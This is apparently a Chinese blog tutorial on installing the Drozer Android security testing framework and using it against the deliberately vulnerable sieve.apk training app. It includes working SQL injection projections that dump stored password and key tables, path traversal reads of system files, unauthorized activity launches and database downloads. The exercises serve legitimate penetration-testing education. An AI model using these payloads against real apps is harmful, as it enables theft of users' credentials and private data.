初识Android安全测试框架——Drozer
安装过程(Windows 10):
git clone https://github.com/mwrlabs/drozer/
cd drozer
python setup.py bdist_wheel
安装完后,在dist目录下点击drozer-2.x.x.win-x.msi进行安装:
安装代理:
https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
这里我直接拖进模拟器里安装
端口转发:
这里我使用夜神模拟器,通过自带的adb进行连接,以便PC可以连接到模拟器内部或设备上的代理打开的TCP套接字。默认情况下,Drozer使用端口31415:
# 将PC上所有8080端口通信数据将被重定向到模拟器端31415端口上
nox_adb.exe forward tcp:8080 tcp:31415
打开代理端,启用监听:
(Server端)在PC上使用drozer控制台进行连接:
drozer.bat console connect --server 127.0.0.1:8080
python第三方库安装:
pip2 install protobuf
pip2 install pyOpenSSL
pip2 install twisted
pip2 install service_identity
磕磕绊绊两个钟,安装过程中各种报错,python缺少依赖性,通过pip install xxx或者更换python版本解决
安装过程可参考:Android App渗透测试--Drozer(安装篇)
初探Drozer:
这里我们以sieve.apk为例,它是一款密码管理软件,专门被设计出来用于安卓应用常见漏洞的学习使用的
项目地址:https://github.com/as0ler/Android-Examples/blob/master/sieve.apk
drozer支持命令以及说明:
命令 | 描述 |
---|---|
run | 执行drozer模块 |
list | 显示当前会话中可以执行的所有drozer模块的列表。这将隐藏您没有适当权限来运行的模块 |
shell | 在代理进程上下文中启动设备上的交互式Linux shell |
cd | 将特定的命名空间挂载为会话的根,以避免重复键入模块的全名 |
clean | 删除drozer在Android设备上存储的临时文件 |
contributors | 显示为系统上使用的drozer框架和模块做出贡献的人员列表 |
echo | 将文本打印到控制台 |
exit | 终止drozer会话 |
help | 显示关于特定命令或模块的帮助 |
load | 加载一个包含drozer命令的文件,并按顺序执行它们 |
module | 从互联网找到并安装额外的drozer模块 |
permissions | 显示授予drozer代理的权限列表 |
set | 将一个值存储在一个变量中,该变量将作为环境变量传递给drozer生成的任何Linux shell |
unset | 删除drozer传递给它生成的任何Linux shell的命名变量 |
常用模块列表:
模块 | 作用 |
---|---|
app.activity.forintent | 找到可以处理给定意图的活动 |
app.activity.info | 获取有关导出活动的信息。 |
app.activity.start | 开始一个活动 |
app.broadcast.info | 获取有关广播接收器的信息 |
app.broadcast.send | 使用intent发送广播 |
app.broadcast.sniff | 注册一个可以嗅探特定意图的广播接收器 |
app.package.attacksurface | 得到包裹的攻击面 |
app.package.backup | 列出使用备份API的包(在FLAG_ALLOW_BACKUP上返回true) |
app.package.debuggable | 找到debuggable包 |
app.package.info | 获取有关已安装包的信息 |
app.package.launchintent | 获取包的发布意图 |
app.package.list | 包列表 |
app.package.manifest | 获取AndroidManifest.xml的包 |
app.package.native | 查找嵌入到应用程序中的本机库。 |
app.package.shareduid | 寻找具有共享uid的包 |
app.provider.columns | 列出内容提供程序中的列 |
app.provider.delete | 从内容提供程序中删除 |
app.provider.download | 从支持文件的内容提供程序下载文件 |
app.provider.finduri | 查找包中引用的内容uri |
app.provider.info | 获取有关导出内容提供者的信息 |
app.provider.insert | 插入到内容提供程序中 |
app.provider.query | 查询内容提供者 |
app.provider.read | 从支持文件的内容提供程序中读取 |
app.provider.update | 更新内容提供程序中的记录 |
app.service.info | 获取有关导出服务的信息 |
app.service.send | 向服务发送消息,并显示应答 |
app.service.start | 开始服务 |
app.service.stop | 停止服务 |
auxiliary.webcontentresolver | 开启web服务来获取content providers |
exploit.jdwp.check | 针对@jdwp-control漏洞 |
exploit.pilfer.general.apnprovider | 获取APN信息 |
exploit.pilfer.general.settingsprovider | 查看系统设置 |
information.datetime | 查看设备时间 |
information.deviceinfo | 获取设备详细信息 |
information.permissions | 列出所有手机应用使用过的权限信息 |
scanner.activity.browsable | 获取所有可从web浏览器调用的可浏览活动 |
scanner.misc.native | 查找包中包含的本地组件 |
scanner.misc.readablefiles | 查找可被其应用读取的文件 |
scanner.misc.secretcodes | 查找手机暗码 |
scanner.misc.sflagbinaries | 在给定文件夹(默认是/system)中找到suid/sgid二进制文件 |
scanner.misc.writablefiles | 在给定的文件夹中查找可写的文件 |
scanner.provider.finduris | 搜索可以从上下文查询的内容提供者 |
scanner.provider.injection | 查找content providers SQL注入 |
scanner.provider.sqltables | 通过SQL注入查找表名 |
scanner.provider.traversal | 查找目录遍历漏洞 |
shell.exec | 执行单条shell命令 |
shell.send | 发送ASH shell到远程监听器 |
shell.start | 进入交互式Linux shell |
tools.file.download | 下载手机上的文件 |
tools.file.md5sum | 获取文件的md5 |
tools.file.size | 获取文件大小 |
tools.file.upload | 从PC上传文件到设备 |
tools.setup.busybox | 安装Busybox |
tools.setup.minimalsu | 安装minimal-su |
查看当前可用的所有模块:
list
获取App包信息的模块是app.package.*:
列出所有已安装的app包名:
windows下会出现中文乱码的情况,其实影响不大暂没找到解决办法。
run app.package.list
查看app的详细信息(app路径、数据目录等)
run app.package.info -a (app包名)
由上图我们知道,contentprovider不需要任何特定的权限就可以与之交互,除了DBContentProvider中的/Keys路径。
我们很容易会推测到名为DBContentProvider的contentproviderr在后端会有一些数据库。然而,由于不知道contentprovider是如何组织的,我们很难提取出任何信息。
我们知道目录URI必须以“content://”开头,所以我们可以尝试重构部分目录URI来进入DBContentProvider
drozer提供一个扫描模块来猜测并验证一系列可以使用的目录URI。使用下列命令:
检测URI数据泄露风险:
run scanner.provider.finduris -a com.mwr.example.sieve
然后配合其他的drozer模块从这些内容URI中检索信息:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
查看app是否存在暴露的组件以及是否可被调试:
run app.package.attacksurface (app包名)
查看返回结果,发现有三个组件暴露并且可被调试
对暴露的Activity组件进行攻击测试:
run app.activity.info -a 包名
返回结果列出了app中暴露的Activity:
com.mwr.example.sieve.FileSelectActivity——猜测是文件路径
com.mwr.example.sieve.MainLoginActivity——猜测为app登陆主界面
com.mwr.example.sieve.PWList——猜测为密码列表
分别去启动对应模块,看会返回什么样的结果(这一步主要是测试是否存在未授权,是否可以绕过登录):
run app.activity.start --component 包名 对应模块名称
com.mwr.example.sieve.FileSelectActivity:
com.mwr.example.sieve.MainLoginActivity:
com.mwr.example.sieve.PWList:
客户端注入检测:
客户端攻击通常发生在应用程序未检查用户输入的时候。 例如,在对 SQLite 数据库的查询期间,应用程序正在解析用户输入,因为它位于查询语句中。
安卓平台推荐使用SQLite数据库存储用户数据。由于数据库使用SQL,那么就可能存在SQL注入的漏洞。使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Contentprovider
通过一个引号来简单的测试一下是否存在SQL注入:
手工检测:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错了,说明应该是存在SQL注入的,看来手注还得多学一个SQLite,心累
自动化检测:
run scanner.provider.injection -a 包名
发现存在注入点,结果所示:
确定注入点后执行命令,列举表名:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --project "* from sqlite_master where type='table';--"
发现存在三张表:android_metadata、Passwords、Key
从名称上可以判断android_metadata是系统相关表,另外两可能和密码等数据有关
或者查找可通过SQL注入漏洞访问的表:
run scanner.provider.sqltables -a com.mwr.example.sieve
列名表中数据结构(含数据):
读取Passwords表中的内容,可以看到用户名、密码、邮箱等信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --project "* from Passwords;--"
读取Key表中的内容,可以看到password和pin码:
查找目录遍历漏洞:
应用程序中的路径遍历漏洞允许攻击者使用漏洞应用程序的供应器读取其他系统文件。
run scanner.provider.traversal -a com.mwr.example.sieve
File System-backed Content Providers:
它提供对底层文件系统的访问。这允许应用程序共享文件,其中Android沙箱会阻止它。
我们可以合理地假设FileBackupProvider 是一个文件系统支持的内容提供者,并且PATH组件表示要打开的文件的位置,所以我们可以很容易地猜出内容URI
一旦我们找到了 URI,我们现在可以使用app.provider.read搜索并利用本地文件包含漏洞。 在这里,我尝试从系统中读取一些文件,如/etc/hosts和/proc/cpuinfo,它们默认存在于所有的 Android 实例中,因为它是基于 Linux 的文件系统。
利用这个目录遍历漏洞查看一下hosts文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/hosts
127.0.0.1 localhost
下载数据库到本地:
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\Users\sws123\Desktop\996.db
再用SQLite打开db文件:
Services模块:
获取暴露的Services:
run app.service.info -a com.mwr.example.sieve
Broadcast组件:
查看是否存在暴露的Broadcast组件:
获取暴露的Broadcast组件信息:
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
查看反编译出的AndroidManifest.xml文件,可看到将receiver的exported设置未进行设置。说明存在越权问题,可发送恶意广播,伪造消息等等
补充:使用过程中若发现报错,可尝试切换Jdk版本 1.7
参考如下:
Drozer实践指南
安卓四大组件审计实验(drozer)
如何使用drozer对APP进行越权访问
Android App渗透测试--Drozer(实战篇)
drozer-Android安全测试基本使用教程(Windows10)